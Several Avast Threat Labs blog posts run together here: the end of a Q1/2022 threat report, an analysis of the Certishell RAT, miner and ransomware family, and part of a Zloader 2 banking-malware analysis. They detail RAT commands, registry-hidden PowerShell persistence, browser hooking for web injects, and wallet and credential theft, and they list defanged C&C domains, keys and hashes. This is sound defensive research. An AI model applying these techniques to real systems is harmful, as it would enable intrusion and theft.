According to our data, the most targeted countries were the United States and Canada. However, we’ve seen instances of this campaign active even in other areas, like Europe, for example, France and Germany.

The distinctive sign of this campaign was the lack of a domain name and a specific path; this is illustrated in the following image.

During the beginning of March, we collected thousands of new unique domain-less URLs that have one significant and distinctive sign, their url path. After being redirected, an affected user loads a web page with a well-known recycled appearance, used in many previous technical support campaigns. In addition, several pop-up windows, the logo of well-known companies, antivirus-like messaging, cursor manipulation techniques, and even sounds are all there for one simple reason: a phone call to the phone number shown.

More than twenty different phone numbers have been used. Examples of such numbers can be seen in the following table:

1-888-828-5604
1-888-200-5532
1-877-203-5120
1-888-770-6555
1-855-433-4454
1-833-576-2199
1-877-203-9046
1-888-201-5037
1-866-400-0067
1-888-203-4992

Alexej Savčin, Malware Analyst

Traffic Direction System (TDS)

A new Traffic Direction System (TDS) we are calling Parrot TDS was very active throughout Q1/2022. The TDS has infected various web servers hosting more than 16,500 websites, ranging from adult content sites, personal websites, university sites, and local government sites.

Parrot TDS acts as a gateway for other malicious campaigns to reach potential victims. In this particular case, the infected sites’ appearances are altered by a campaign called FakeUpdate (also known as SocGholish), which uses JavaScript to display fake notices for users to update their browser, offering an update file for download. The file observed being delivered to victims is a remote access tool.

From March 1, 2022, to March 29, 2022, we protected more than 600,000 unique users from around the globe from visiting these infected sites. We protected the most in Brazil – over  73,000 individual users, in India – nearly 55,000 unique users, and more than 31,000 unique users from the US.

Jan Rubín, Malware Researcher
Pavel Novák, Threat Operations Analyst

Vulnerabilities and Exploits

Spring in Europe has had quite a few surprises for us, one of them being a vulnerability in a Java framework called, ironically, Spring. The vulnerability is called Spring4Shell (CVE-2022-22963), mimicking the name of last year’s Log4Shell vulnerability. Similarly to Log4Shell, Spring4Shell leads to remote code execution (RCE). Under specific conditions, it is possible to bind HTTP request parameters to Java objects. While there is a logic protecting classLoader from being used, it was not foolproof, which led to this vulnerability. Fortunately, the vulnerability requires a non-default configuration, and a patch is already available.

The Linux kernel had its share of vulnerabilities; a vulnerability was found in pipes, which usually provide unidirectional interprocess communication, that can be exploited for local privilege escalation. The vulnerability was dubbed Dirty Pipe (CVE-2022-0847). It relies on the usage of partially uninitialized memory of the pipe buffer during its construction, leading to an incorrect value of flags, potentially providing write-access to pages in the cache that were originally marked with a read-only attribute. The vulnerability is already patched in the latest kernel versions and has already been fixed in most mainstream Linux distributions.

First described by Trend Micro researchers in 2019, the SLUB malware is a highly targeted and sophisticated backdoor/RAT spread via browser exploits. Now, three years later, we detected its new exploitation attack, which took place in Japan and targeted an outdated Internet Explorer.

The initial exploit injects into winlogon.exe, which will, in turn, download and execute the final stage payload. The final stage did not change much since the initial report, and it still uses Slack as a C&C server but now uses file[.]io for data exfiltration.

This is an excellent example that old threats never really go away; they often continue to evolve and pose a threat.

Adolf Středa, Malware Researcher
Jan Vojtěšek, Malware Reseracher

Mikrotik CVEs keep giving

It’s been almost four years since the very severe vulnerability CVE-2018-14847 targeting MikroTik devices first appeared. What seemed to be yet another directory traversal bug quickly escalated into user database and password leaks, resulting in a potentially disastrous vulnerability ready to be misused by cybercriminals. Unfortunately, the simplicity of exploiting and wide adoption of these devices and powerful features provided a solid foundation for various malicious campaigns being executed using these devices. It first started with injecting crypto mining javascript into pages script by capturing the traffic, poisoning the DNS cache, and incorporating these devices into botnets for DDoS and proxy purposes.  

Unfortunately, these campaigns come in waves, and we still observe MikroTik devices being misused repeatedly. In Q1/22, we’ve seen a lot of exciting twists and turns, the most prominent of which was probably the Conti group leaks which also shed light on the TrickBot botnet. For quite some time, we knew that TrickBot abused MikroTik devices as proxy servers to hide the next tier of their C&C. The leaking of Conti and Trickbot infrastructure meant the end of this botnet. However, it also provided us clues and information about one of the vastest botnets as a service operation connecting Glupteba, Meris, crypto mining campaigns, and, perhaps also, TrickBot. We are talking about 230K devices controlled by one threat actor and rented out as a service. You can find more in our research Mēris and TrickBot standing on the shoulders of giants. 

A few days before we published our research in March, a new story emerged describing the DDoS campaign most likely tied to the Sodinokibi ransomware group. Unsurprisingly most of the attacking devices were MikroTik again. A few days ago, we were contacted by security researchers from SecurityScoreCard. They have observed another DDoS botnet called Zhadnost targeting Ukrainian institutions and again using MikroTik devices as an amplification vector. This time, they were mainly misusing DNS amplification vulnerabilities. 

We also saw one compelling instance of a network security incident potentially involving MikroTik routers. In the infamous cyberattack on February 24th against the Viasat KA-SAT service, attackers penetrated the management segment of the network and wiped firmware from client terminal devices.

The incident surfaced more prominently after the cyberattack paralyzed 11 gigawatts of German wind turbine production as a probable spill-over from the KA-SAT issue. The connectivity for turbines is provided by EuroSkyPark, one of the satellite internet providers using the KA-SAT network.

When we analyzed ASN AS208484, an autonomous system assigned to EuroSkyPark, we found 15 MikroTik devices with exposed TCP port 8728, which is used for API access to administer the devices. Also of concern, one of the devices had a port for an infamously vulnerable WinBox protocol port exposed to the Internet. As of now, all mentioned ports are closed and no longer accessible.

We also found SSH access remapped to non-standard ports such as 9992 or 9993. This is not typically common practice and may also indicate compromise. Attackers have been known to remap the ports of standard services (such as SSH) to make it harder to detect or even for the device owner to manage. However, this could also be configured deliberately for the same reason: to hide SSH access from plain sight.

From all the above, it’s apparent that we can expect to see similar patterns and DDoS attacks carried not only by MikroTik devices but also by other vulnerable IoT devices in the foreseeable future. On a positive note, the number of MikroTik devices vulnerable to the most commonly misused CVEs is slowly decreasing as new versions of RouterOS (OS that powers the MikroTik appliances) are rolled out. Unfortunately, however, there are many devices already compromised, and without administrative intervention, they will continue to be used for malicious operations repeatedly. 

We strongly recommend that MikroTik administrators ensure they have updated and patched to protect themselves and others.  

If you are a researcher and you think you have seen MikroTik devices involved in some malicious activity, please consider contacting us if you need help or consultation; since 2018, we have built up a detailed understanding of these devices’ threat landscape.

Martin Hron, Malware Researcher

Web skimming

In Q1/22, the most prevalent web skimming malicious domain was naturalfreshmall[.]com, with more than 500 e-commerce sites infected. The domain itself is no longer active, but many websites are still trying to retrieve malicious content from it. Unfortunately, it means that administrators of these sites still have not removed malicious code and these sites are likely still vulnerable. Avast protected 44k users from this attack in the first quarter.

The heatmap below shows the most affected countries in Q1/22 – Saudi Arabia, Australia, Greece, and Brazil. Compared to Q4/21, Saudi Arabia, Australia and Greece stayed at the top, but in Brazil, we protected almost two times more users than in the previous quarter. However, multiple websites were infected in Brazil, some with the aforementioned domain naturalfreshmall[.]com. In addition, we tweeted about philco.com[.]br, which was infected with yoursafepayments[.]com/fonts.css. And last but not least, pernambucanas.com[.]br was also infected with malicious javascript hidden in the file require.js on their website.

Overall the number of protected users remains almost the same as in Q4/21.

Pavlína Kopecká, Malware Analyst

Mobile-Related Threats

Adware/HiddenAds

Adware maintains its dominance over the Android threat landscape, continuing the trend from previous years. Generally, the purpose of Adware is to display out-of-context advertisements to the device user, often in ways that severely impact the user experience. In Q1/22, HiddenAds, FakeAdblockers, and others have spread to many Android devices; these applications often display device-wide advertisements that overlay the user’s intended activity or limit the app’s functionality by displaying timed ads without the ability to skip them.

Adware comes in various configurations; one popular category is stealthy installation. Such apps share common features that make them difficult for the user to identify. Hiding their application's icon from the home screen is a common technique, and using blank application icons to mask their presence. The user may struggle to identify the source of the intrusive advertisements, especially if the applications have an in-built delay timer after which they display the ads. Another Adware tactic is to use in-app advertisements that are overly aggressive, sometimes to the extent that they make the original app’s intended functionality barely usable. This is common, especially in games, where timed ads are often shown after each completed level; frequently, the ad screen time greatly exceeds the time spent playing the game.

The Google Play Store has previously been used to distribute malware, but recently, actors behind these applications have changed tactics to use browser pop-up windows and notifications to spread the Adware. These are intended to trick users into downloading and installing the application, often disguised as games, ad blockers, or various utility tools. Therefore, we strongly recommend that users avoid installing applications from unknown sources and be on the lookout for malicious browser notifications.

According to our data, India, the Middle East, and South America are the most affected regions. But Adware is not strictly limited to these regions; it’s prevalent worldwide.

As can be seen from the graph below, Adware’s presence in the mobile sphere has remained dominant but relatively unchanged. Of course, there’s slight fluctuation during each quarter, but there have been no stand-out new strains of Adware as of late.

Bankers

In Q1/2022, some interesting shifts were observed in the banking malware category. With Cerberus/Alien and its clones still leading the scoreboard by far, the battle for second place has seen a jump, where Hydra replaced the previously significant threats posed by FluBot. Additionally, FluBot has been on the decline throughout Q1..

Different banker strains have been reported to use the same distribution channels and branding, which we can also confirm observing. Many banking threats now reuse the proven techniques of masquerading as delivery services, parcel tracking apps, or voicemail apps.

After the departure of FluBot from the scene, we observed an overall slight drop in the number of affected users, but this seems only to be returning to the numbers we’ve observed in the last year, just before FluBot took the stage.

Most targeted countries remain to be Turkey, Spain and Australia.

PremiumSMS/Subscription scams

While PremiumSMS/Subscription related threats may not be as prevalent as in the previous years, they are certainly not gone for good. As reported in the Q4/21 report, a new wave of premium subscription-related scams keeps popping up. Campaigns such as GriftHorse or UltimaSMS made their rounds last year, followed by yet another similar campaign dubbed DarkHerring. 

The main distribution channel for these seems to be Google Play, but they have also been observed being downloaded from alternative channels. Similar to before, this scam preys on the mobile operator’s subscription scheme, where an unsuspecting user is lured into giving out their phone number. The number is later used to register the victim to a premium subscription service. This can go undetected for a long time, causing the victim significant monetary loss due to the stealthiness of the subscription and hassle related to canceling such a subscription.

While the primary target of these campaigns seems to remain the same as in Q4/21 – targeting the Middle East, countries like Iraq, Jordan, but also Saudi Arabia, and Egypt – the scope has broadened and now includes various Asian countries as well – China, Malaysia and Vietnam amongst the riskiest ones.

As can be seen from the quarterly comparisons in the graph below, the spikes of activity of the respective campaigns are clear, with UltimaSMS and Grifthorse causing the spike in Q4/21. Darkherring is behind the Q1/22 spike.

Ransomware/Lockers

Ransomware apps and Lockers that target the Android ecosystem often attempt to ‘lock’ the user’s phone by disabling the navigation buttons and taking over the Android lock screen to prevent the user from interacting with the device and removing the malware. This is commonly accompanied by a ransom message requesting payment to the malware owner in exchange for unlocking the device.

Among the most prevalent Android Lockers seen in Q1/22 were Jisut, Pornlocker, and Congur. These are notorious for being difficult to remove and, in some cases, may require a factory reset of the phone. Some versions of lockers may even attempt to encrypt the user’s files; however, this is not frequently seen due to the complexity of encrypting files on Android devices.

The threat actors responsible for this malware generally rely on spreading through the use of third party app stores, game cheats, and adult content applications.

A common infection technique is to lure users through popular internet themes and topics – we strongly recommend that users avoid attempting to download game hacks and mods and ensure that they use reputable websites and official app stores.

In Q1/22, we’ve seen spikes in this category, mainly related to the Pornlocker family – apps masquerading as adult content providers – and were predominantly targeting users in Russia.

In the graph above, we can see the spike caused by the Pornlocker family in Q1/22.

Ondřej David, Malware Analysis Team Lead
Jakub Vávra, Malware Analyst

Acknowledgements / Credits

The post Avast Q1/2022 Threat Report appeared first on Avast Threat Labs.

Research of this malware family began when I found a malicious task starting powershell code directly from a registry key within our user base.  I wasn’t expecting the surprise I’d arrived at when I began tracking its origins. Living in a smaller country, Czech Republic, it is a rare sight to see someone exclusively targeting the local Czech/Slovak audience. The threat actor seems to have been creating malware since 2015 and appears to be from Slovakia. The bad actor’s repertoire contains a few RATs, some packers for cryptominers and, almost obligatorily, ransomware, and I have named the malware family Certishell. This person’s malware is spread with illegal copies of songs and movies and with alleged cracks and keygens of games and common tools (GTA SA, Mafia, Avast, Microsoft Office) that were hosted on one of the most popular Czech and Slovak file-sharing services uloz.to.

The Ceritshell family can be split into three different parts. 

1. RAT with a C&C server sivpici.php5[.]sk (Czech/Slovak slang for “you are fucked up”), which has AutoIT, C++ and Go versions.
2. Miner downloaded from hacked websites and started with the script que.vbs from the task. 
3. Miner or ransomware downloaded from hacked websites and launched from a powershell command hidden in registry keys. The command from the registry key is started with the task from the picture above.

The map above shows the risk ratio of users around who were at risk of encountering one of the malware families

Sivpici.php5.sk (2015-2018)

The oldest part of the family is a simple RAT with sivpici.php5[.]sk as the C&C server. It places all the needed files in the folder .win inside of the user folder. 

The malware installer comes disguised as one of the following:

• Cracked software, such as FixmyPC,
• Fraud apps, like SteamCDKeys that share Steam keys,
• Music CD unpackers with names like Extractor.exe or Heslo.exe (Heslo means password in Czech/Slovak) that come with a password protected archive with music files.

The malicious executable downloads an executable named UnRAR.exe and a malicious archive that contains a simple RAT written in C++, AutoIT or Go.

Installer

Every executable installing this malware family contains a script similar to the one in the following picture optionally with curl.exe. This script usually shows the password to archive or start another application. The malicious part downloads a legitimate RAR extractor UnRAR.exe and a malicious archive that can be password protected and unpacks it into the %UserProfile%\.win\ folder. In the end it registers one of the unpacked files as a service, starts it and allows one of the binaries in the firewall.

I found six different methods used to pack the script into executable binary:

1. Bat2exe
2. Quick Batch File Compiler
3. Compiled AutoIT version
   
4. Compiled AutoIT version with obfuscated script
   
5. Compiled AutoIT version with obfuscated script and packed with PELock
6. Compiled AutoIT version with obfuscated script packed with VMProtect

RAT

There are three main variants of this RAT.  All of them use the same C&C sivpici.php5[.]sk and similar communication protocol. The most advanced is a compiled AutoIT script. This script comes in 10 different main versions. The second one is written in C++ and we found only one main version and the last one is written in Go also with one main version. 

The first time it is run, it generates a random alphanumeric string that works as an identificator for the C&C. This identificator is saved into file gen.gen for next start. The communication uses the HTTP protocol. Infected machines send the following back the C&C: 

• pc = ComputerName,
• os = content of SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductName,
• uniq = generated identifier, saved in \.win\gen.gen

with the GET method to start.php.

After a random period of time, the malware starts asking for commands using the GET method with the parameter uniq. The response is a number that has fixed meanings throughout all the versions. Commands “1” – “7” are implemented as follows:

1. The RAT downloads a URL from /urlg.php using uniq, from this URL it downloads a file, packed.rar, then the RAT starts run.bat from the installation phase to UnRaR the package to the \.win\Lambda folder and restart the RAT. This allows the RAT to update itself and also download any other file necessary.
2. Create a screenshot and send it with the POST method to the up.php.
3. Send all file names from all drives to up.php.
4. DDoS attack to a chosen IP through UDP/HTTP/PING.
5. Get a list of all installed apps from
   HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
   saves it to /.win/installed.txt and send them to up.php.
6. Get a list of all running processes, save it to /.win/processes.txt and send them to up.php.
7. Collect log from keylogger, save it to \.win\log.txt and send it to up.php.

The RAT in the form of compiled AutoIT script has the name Winhost.exe. 

There is a comparison of different versions (versioning by the author of the RAT) in the following table.

Version	Commands	Notes
debugging	1	Command 2 opens a message box with text 222222
4	1 – 3	Registration of PC happens only once on reg.php and on connection it sends only the uniq and the version of the RAT to updaver.php
6	1 – 4	Opens /ad.php in a hidden Internet Explorer window once when the user is not interacting with the PC for at least 5 seconds and closes it after 30 seconds.
7	1 – 5
8	1 – 7	Keylogger starts with the start of the RAT.
9	1 – 7	Keylogger has colored output.
10	1 – 7	Keylogger is separate executable ( ~\.win\1.exe)

The keylogger in versions eight and nine is copied from the official AutoIT documentation (with a few small changes) https://www.autoitscript.com/autoit3/docs/libfunctions/_WinAPI_SetWindowsHookEx.htm

The C++ RAT is named dwms.exe. It uses LibCURL to communicate with the C&C. The communication protocol is the same. The uniq identifier is saved in the fr.fr file instead of gen.gen for the AutoIT version, it also starts communication by accessing connect.php instead of start.php.

I’ve managed to find a debugging version that only has the first command implemented and returns only “Command 2” and “Command 3” to the standard output for the second and third command. After every command it answers the C&C by sending uniq and verzia (“version” in English) with GET method to online.php.

The “production” version is labeled as version A. The code is divided into two functions: 

• LLLoad downloads the URL address of the C&C server from the pastebin and tests it by downloading /exists.txt.
• RRRun that contains the first two commands as described above. It also uses /connect/ path for register.php, load.php, online.php and verzia.php.

To download newer versions it uses curl called from the command line.

Another difference is that screenshots taken are sent via FTP to a different domain:
freetips.php5[.]sk/public_html/SHOT.bmp
with the username sivpici and password A1B2C3D4. 

The RAT written in Go only has the first command implemented, but it downloads /cnct/ad.txt and it opens URLs contained on victims computer, thus we speculate it could also work as adware. 

IECache, bitly, pastebin (2016-2018)

The installation of this coinminer is similar to the RAT in the previous section. Installations use the same folder and the scripts have the same name. It usually comes as an unpacker of illegal copies of music and movies downloaded from uloz.to. It uses powershell to download and execute scripts from a bit.ly shortened address. The final stage is coinminer IECache.exe, which is usually XMRig.

Heslo.txt.exe, Crack.exe…

There is a huge variety of programs that download bit.ly-shortened Czech and Slovak sites and execute them. These programs include: GTA SA crack, Mafia, Microsoft Office, Sims, Lego Star Wars, and unpackers for music and movies. These programs usually print a message to the victim and run a malicious script in a hidden window.

The unpackers use UnRAR to unpack the archive and show the victim the password of that archive. 

The cracks on the other hand just show an error message.

All the installation files execute the following command with some bitly shortened site:

There are VBA scripts calling it, basic programs possibly written in C, .Net, AutoIT scripts, Golang programs, Rust programs, Redlang programs, different packers of python and batches, some of them use UPX, MPRESS, VMprotect and PELock. 

Downloaded script

There are at least two new scripts created by the script from the site hidden behind the bit.ly shortened URL, que.vbs and run.bat.

The script also creates one of two services named Winmgr and Winservice that start que.vbs. Que.vbs only starts run.bat which downloads whats.txt contains a script downloading and starting coinminer IECache.exe.

que.vbs hash: 6f2efc19263a3f4b4f8ea8d9fd643260dce5bef599940dae02b4689862bbb362
run.bat hash: 1ad309c8ee17718fb5aacf2587bd51bddb393c0240ee63faf7f890b7093db222

In this case the pastebin contains two lines (the second line is splitted for better readability)

The miner

The miner is saved as IECache.exe or ctfmon.exe.

The first miner (from June, 2018) is just XMRig that includes all command line options inside the binary. 

Most of the miners of this type I found are packed with VMProtect or Themida/Winlicense.

The more interesting one (from Jun-Jul 2018) is a compiled AutoIT script packed with VMProtect. Here again, we see that author speaks Slovak:

This script contains the XMRig as (in some cases LZMA compressed) Base64 encoded string inside a variable. The miner is decoded and started in memory.

In some versions, the script checks user activity and it starts different miners with different options to maximize profit with lower risk of being caught.

Newer samples (Since August, 2018) use sRDI or XOR encryption in memory and injection to a suspended process to hide from antivirus software.

Interesting files

Sourceforge and Github

Some of the samples used Sourceforge and Github to download malicious content, instead of small, possibly hacked websites.

It downloaded content from a repository WEB of user W33v3ly on Github and from user Dieworld on Sourceforge. On Github, the attacker once made a mistake and pushed Systemcall.exe and TestDLL.bin to the wrong repository.

Systemcall.exe hash: e9d96c6de650ada54b3788187132f525094ff7266b87c98d3dd1398c2d5c41a
TestDLL.bin hash: 1d2eda5525725f919cb4ef4412272f059abf4b6f25de5dc3b0fca4ce6ef5dd8e

The Systemcall.exe is a PE file without “MZ” in the beginning and Test.dll contains some random bytes before the PE file. The dll contains XMRig encrypted with TEA and the Systemcall.exe uses sRDI to load and run the Test.dll. 

Steam Giver

This small application written in .Net shows some hacked Steam accounts.

The malicious part downloads and installs the following scripts and downloads UnRAR and begin.rar

Install.vbs creates a task named WinD2 that starts inv.vbs upon every PC startup. Inv.vbs starts runner.bat, which starts %temp%/Microsoft/NisSrve.exe that is unpacked from begin.rar with UnRAR.exe.

Free bet tips

Betters are also targeted. We found a malicious file with the following readme file: 

The binary included only starts a cmd with the script as an argument.

All from registry keys since 2018

After 2018, I observed an updated version of the malware family. There is no need for any script file if you can have a command as a scheduled task and save enough data into registry keys. 

The infection vector is the same as in the previous case. The victim downloads and runs an executable that downloads a powershell script from a hacked website whose URL is shortened with bit.ly. This time the script is different, it creates the following task:

This task reads the value of the registry key Shell placed in HKLM\Software\a and executes its content. The script also creates the Registry key. 

Let’s focus on the value of the registry key Shell. In the following picture you will find the value I found on an infected machine.

After decoding and decompression we get an obfuscated script:

Under two layers of string formatting and replacing we get another compressed base64 encoded script:

Inside the base64 string is malicious code that tests the connection and executes code directly from the internet.

In total, I found about 40 different values of the Shell key in the wild that contain similar code with different URLs and they are obfuscated in the same way or less.

Some of the pastebins were alive. For example, one of them contains the following scripts that sends information about graphic cards to the C&C server, which can decide what to install on an infected computer. I have not found any C&C server alive.

Ransomware

Another final stage that runs from the registry keys is ransomware Athos.exe. At first it checks some tactics from https://blog.sevagas.com/IMG/pdf/BypassAVDynamics.pdf to check if it runs in the sandbox. On the sixth start it injects ransomware into another process that gets the id and encryption key from the web page googleprovider[.]ru. Then it encrypts all the files with AES-CFB and shows the following message saved on imgur (https://i.imgur[.]com/cKkSBSI.jpg). 

We also found AutoIT ransomware King Ouroboros translated to Slovak. The malware was edited to use Windows users’ GUID as encryption key and to download additional content from a different server than the original King Ouroboros.

ransomware hash: 90d99c4fe7f81533fb02cf0f1ff296cc1b2d88ea5c4c8567142bb455f435ee5b

Conclusion

Most of the methods described in this article are not new, in some cases I was able to find their source. The most interesting method is hiding the powershell script to the registry keys. 

As I found out, the author is a Slovak speaker, this corresponds with the fact that the infected files were published only on Uloz.to, therefore the victims are only from the Czech Republic and Slovakia. 

The variation of the final payload is huge. I found three different RATs, a few different packers of coinminers and ransomware that were created by the author and many more that were “available” on the internet. The initial installer, which function was to call only one command, was also created with a huge variety of tools, some of them quite obscure.

To protect against this type of threat, it is enough to download software only from trustworthy sources and use security software, like Avast Antivirus, which will act as a safety net in case you should come across a threat.

Indicators of Compromise (IoC)

• Repository: https://github.com/avast/ioc/tree/master/Certishell
• List of SHA-256: https://github.com/avast/ioc/blob/master/Certishell/samples.sha256
• URI: https://github.com/avast/ioc/blob/master/Certishell/network.txt

The post Warez users fell for Certishell appeared first on Avast Threat Labs.

In this study we are considering one of Zeus successors – Zloader 2. We’ll show how it works and its code peculiarities. We’ll present the result of our deep dive into the botnets and campaigns and show some interesting connections between Zloader and other malware families.

Introduction

Zloader 2 (also known as Silent Night) is a multifunctional modular banking malware, aimed at providing unauthorized access to online banking systems, payment systems and other financial-related services. In addition to these functions it’s able to download and execute arbitrary files, steal files, inject arbitrary code to visited HTML pages and so on.

History

According to ZeusMuseum, first versions of Zeus were observed in 2006-2008. Later, in 2011 its source code leaked. As a result, new versions and variants appeared. One of the Zeus successors named Zloader appeared at the turn of 2016 and 2017. Finally, another successor named Silent Night appeared in 2019. It was for sale on the underground market.

The earliest version of this variant we found has a SHA256:
384f3719ba4fbcf355cc206e27f3bfca94e7bf14dd928de62ab5f74de90df34a
Timestamp 4 December 2019 and version number 1.0.2.0. In the middle of July 2021 the version 2.0.0.0 was spotted.

Microsoft recently announced a joint investigation of multiple security companies and information sharing and analysis centers (ISACs) with the aim to take down the Zloader botnet and took the whole case to court.

Although the original name of the malware likely was Silent Night and the ZeusMuseum calls it Zloader 2 we are simply going to use the name Zloader.

Technical analysis

Modules and components

Zloader consists of different modules and components:

• Downloader – initial infector
• Backdoor – main module, exists in x86 and x64 versions
• VNC module (x86 and x64)
• Web Injects – received from C&C
• Additional libraries (openssl, sqlite, zlib, Mozilla libraries)

Backdoors, VNC modules and additional libraries have assigned module IDs that are used by other components to refer to them.

Distribution

Zloader was distributed using classic email spam. In 2021 the attackers abused Google AdWords to advertise sites with fake Zoom communication tool which actually installed Zloader. Another campaign in 2021 used fake pornsites, where users needed to download additional software to watch video. Downloaders are distributed in a packed form sometimes signed with a valid digital signature.

Map showing the distribution of infected systems:

Code peculiarities

Zloader code is very recognizable. First of all, it is diluted with functions which will never be called. Downloader module may contain functions from the Backdoor module and vice versa. In total, about a half of the code will never be called.

Second, simple x86 instructions like CMP, ADD and XOR are replaced with special functions. These functions contain a lot of useless code to complicate the analysis and they can call other “replacement” functions. To add more insult to the injury multiple “replacement” functions exist for a particular instruction. Also some constants are calculated in runtime using aforementioned “replacement” functions.

Strings are encrypted with a simple XOR algorithm.

Samples have very little imported functions. APIs are resolved in runtime by the hashes of their names.

As a result, more than a half of the file size is useless and serves as an obfuscation of simple operations.

Configuration

Both Downloader and Backdoor modules have built in configuration encrypted with RC4. The decryption key is stored in a plaintext and looks like vcvslrpvwwfanquofupxt. The structure of earlier versions (1.0.x, for example) differs from later versions (1.6.x and 1.8.x). Modern versions store the following information in config:

• Botnet name (divader on the picture below)
• Campaign name (xls_s_2010)
• List of hardcoded C&Cs
• RC4 key (03d5ae30a0bd934a23b6a7f0756aa504)

BinStorage

We have to briefly cover the BinStorage – the data format used by Zloader to communicate with C&Cs and to store various data: web injects, system information, stolen data and logs. BinStorages consists of the header and records (also called fields). Main header stores information about the number of records, data size (in bytes) and their MD5. Records have their own small headers, containing FieldID - DWORD describing the meaning of the data.

Some FieldIDs are hardcoded. For example, in FieldID=0x4E20 the last working C&C is stored. Other FieldIDs are derived from file paths (used to store stolen files).

Registry usage

Zloader modules (at least Downloaders and Backdoors) use a registry to store various data necessary for their work. The ROOT_KEY for this data is HKEY_CURRENT_USER\Software\Microsoft\

The most important and interesting data structure, stored by the Zloader in the registry is called MAIN_STRUCT. It’s subkey in the ROOT_KEY and the value name is derived from the RC4 key found in the configuration. We suppose that bots from one actor use the same RC4 key, so they can easily find and read the MAIN_STRUCT.

MAIN_STRUCT is encrypted using RC4 with the key from the configuration. It stores:

• Registry paths to other storages, used by Zloader
• Files and directories path, used by Zloader
• Encryption key(s) to decrypt those storages

Files usage

Root path is %APPDATA%. Zloader creates directories with random names inside it to store modules, stolen data and logs. These paths are stored into the MAIN_STRUCT.

Networking

As was mentioned before, communication between the bot and C&C is done using BinStorages. Depending on the actual type of the message, field list may be changed, but there are 5 constant fields sent to C&C:

• Some DWORD from the Configuration
• Botnet name from the Configuration
• BotID, derived from the system information
• Debug flag from the Configuration
• 16 random bytes

Requests are encrypted using the RC4 key from the Configuration. C&C responses are signed with RSA.

PING request

This request is used to check if C&C is alive. Response contains only random bytes sent by a bot.

DOWNLOAD MODULE request

This request is used to download modules by their ID from the C&C. The response is not in a BinStorage form!

GET CONFIG request

Used to receive configuration updates: new C&Cs, WebInjects, tasks for downloading etc.

C&Cs and DGA

As was shown before, built in configuration has a list of hardcoded C&Cs. Actually, these lists have not changed for years. To bypass blocking of these hardcoded C&Cs, Zloader uses DGA – Domain Generation Algorithm. In the Zloader, DGA produces 32 domains, based on the current date and RC4 key from the configuration.

There is a 3rd type of C&Cs – received in the response from the server. They’re stored into the Registry.

Downloader module

Analysis based on version 1.6.28.0, 44ede6e1b9be1c013f13d82645f7a9cff7d92b267778f19b46aa5c1f7fa3c10b

Function of Downloader is to download, install and run the next module – the Backdoor.

Main function

Just after the start of the Downloader module, junk code is started. It consists of many junk functions, which forms a kind of a “network”. In the image below there is a call graph from just a single junk function. These functions also trying to read, write and delete some *.txt files %TEMP%. The purpose of this is to delay the execution of the payload and, We suppose, to complicate the emulation, debugging and analysis.

The second and the last task of the Main function is to start msiexec.exe and perform the PE injection of the code into it. Injected data consists of two buffers: the big one, where the Downloader is stored in the encrypted form and the small one (0x42 bytes) with decryption code. Just after the injection Downloader terminates himself.

Injected code

Control flow passed to the small buffer, which decrypts the Downloader in the address space of msiexec.exe After the decryption, Downloader begins to execute its main task. 

First of all, the injected code tries to read MAIN_STRUCT from the registry. If this fails, it thinks it was not installed on this system and the installation process begins: MAIN_STRUCT is created, Downloader module is copied into %APPDATA% and added to the autorun key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with random value name.

In any case, the Backdoor module is requested from the disk or from the network and executed.

Backdoor module

Analysis based on version 1.6.28.0, c7441a27727069ce11f8d54676f8397e85301b4d65d4d722c6b239a495fd0282

There are actually two Backdoor modules: for 32-bit systems (moduleID 0x3EE) and for 64-bit systems (moduleID 0x3E9). Downloader always requests a 32-bit Backdoor.

Backdoors are much more complicated than Downloaders. If we compare the size of our samples (after unpacking), Backdoor will be twice bigger.

Key Backdoor abilities:

• Starting VNC module
• Injecting WebInjects into the pages visited using browsers
• Downloading and execute arbitrary file
• Keylogging
• Making screenshots
• Stealing files and sending to C&C

Stealing files

The largest group of software from which Zloader steal files is crypto wallets:

• Electrum
• Ethereum
• Exodus cryptowallet
• Zcash
• Bitcoin-Qt
• Etc.

It also steals data from browsers: cookies from Chrome, Firefox and IE; saved logins from Chrome. And, finally, it is able to steal accounts information from Microsoft Outlook.

Hooking

To achieve his goals, Zloader performs WinAPI hooking. In order to perform it, Backdoor module enumerates processes and injects itself into the following ones:

• explorer.exe
• msiexec.exe
• iexplore.exe
• firefox.exe
• chrome.exe
• msedge.exe

64-bit version of Backdoor is injected into 64-bit processes, 32-bit version – into 32-bit processes.

Injected code hooks the following WinAPI functions:

• NtCreateUserProcess
• NtCreateThread
• ZwDeviceIoControlFile
• TranslateMessage
• CertGetCertificateChain
• CertVerifyCertificateChainPolicy

Hooks might be divided in 3 groups, depending on the purpose:

1. NtCreateUserProcess and NtCreateThread are hooked to inject a Backdoor module to newly created threads and processes.
2. ZwDeviceIoControlFile, CertGetCertificateChain and CertVerifyCertificateChainPolicy are hooked to support WebInjection mechanism
3. TranslateMessage is hooked to log the keys pressed and to create screenshots

Web Injecting

First of all, browsers must have a Backdoor module injected. At this moment, there are multiple instances of Backdoor Modules running in the system: one, started by Downloader which is “Main Instance” and others, running in browsers. Main Instance starts Man-in-the-browser proxy, other modules hooks ZwDeviceIoControlFile and cert-related WinAPIs (see above). Proxy port number is stored in the BinStorage structure into the Registry, so it is synchronized between Backdoor instances.

Hooked ZwDeviceIoControlFile function is waiting for IOCTL_AFD_CONNECT or IOCTL_AFD_SUPER_CONNECT and routing connections to the proxy. Hooked cert-related functions inform browsers what everything is good with certificates.

Botnets, Campaigns and their activity

Most active botnets and campaigns use RC4 key 03d5ae30a0bd934a23b6a7f0756aa504 and we’ll focus on them in our analysis. Samples with the aforementioned key have versions 1.x, usually 1.6.28, but some have even 1.0.x.

Botnet and Campaign names

Among botnet names it is worth mentioning the following groups:

1. DLLobnova, AktualizacjaDLL, googleaktualizacija, googleaktualizacija1, obnovlenie19, vasja, ivan
2. 9092zi, 9092ti, 9092ca, 9092us, 909222, 9092ge

The first one contains transliterated Slavic words and names (vasja, ivan), maybe with errors. It sheds light on the origins of bad guys – they are definitely Slavs.

Samples with botnet names from the second group were first observed in November 2021 and we found 6 botnet names from this group in the next two months. Letters after numbers, like ca and us might be country codes.

We see the same picture with campaign names: quite a big amount of Slavic words and the same 9092* group. 

WebInjects

We analyzed webinjects and can confirm that they are targeting financial companies: banks, brokerage firms, insurance companies, payment services, cryptocurrency-related services etc.

